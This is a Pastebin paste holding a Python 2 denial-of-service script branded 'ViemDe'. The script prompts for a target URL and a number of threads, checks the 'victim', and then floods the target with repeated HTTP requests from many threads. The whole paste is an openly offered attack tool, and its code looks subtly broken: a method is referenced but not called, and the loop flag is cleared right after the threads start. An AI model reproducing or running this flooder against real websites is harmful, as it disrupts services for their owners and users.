Advertisement
TP2K1

Viemde ddos

May 30th, 2015
831
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.45 KB | None | 0 0
  1. #/usr/bin/Python
  2. # -*- coding: utf-8 -*-
  3. import sys
  4. import time
  5. import threading
  6. import urllib
  7.  
  8. print "\n"*100
  9. print "*******************************************"
  10. print " -=[#]! ViemDe ![#]=- \n"
  11. print " -=[#]! https://www.facebook.com/ViemDe ![#]=-\n"
  12. print "*******************************************"
  13. time.sleep(3)
  14.  
  15. a=1
  16. b=threading.Lock()
  17.  
  18. class dos(threading.Thread):
  19. def __init__(self, host, threads):
  20. threading.Thread.__init__(self)
  21. self.host = host
  22. self.threads = threads
  23. def run(self):
  24. global a
  25. global b
  26. b.acquire()
  27. print "\n °°° Attaccking °°° {0}".format(self.threads)
  28. b.release()
  29. while 1 == a:
  30. try:
  31. urllib.urlopen(self.host).read
  32. try:
  33. urllib.urlopen(self.host).read
  34. except:
  35. pass
  36. except:
  37. pass
  38. b.acquire()
  39. print " °°° Quitting °°° {0}\n".format(self.threads)
  40. b.release()
  41. sys.exit()
  42. try:
  43. threads=input(" [#]! Threads : ")
  44. except NameError:
  45. print "\n-=[#]! Insert Number of Threads ![#]=-\n"
  46. sys.exit()
  47. while True:
  48. host=raw_input("\n [#]! Target : ")
  49. print "\n -=[#]! Check in victim ![#]=-\n"
  50. time.sleep(2)
  51. try:
  52. urllib.urlopen(host)
  53. except IOError:
  54. print "\n-=[#]! Connection Error Verify Target ![#]=-\n"
  55. sys.exit()
  56. else:
  57. break
  58. print "\n"*100
  59. print " *******************************************"
  60. print " -=[#]! ViemDe Dossier ![#]=- \n"
  61. print " [#]! Target : %s \n"%(host)
  62. print " [#]! Threads: %d \n"%(threads)
  63. print " *******************************************"
  64. c=raw_input(" Is this correct ? ( Y/N ) > ")
  65. if c=="Y":
  66. pass
  67. elif c=="N":
  68. print "\n OK, Stopping.\n"
  69. sys.exit()
  70. for A in xrange(threads):
  71. dos(host, A+1).start()
  72. a=0
  73. print "**************************************************************************************"
  74. print " -=[#]! T?n Công ![#]=- \n"
  75. print "**************************************************************************************"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement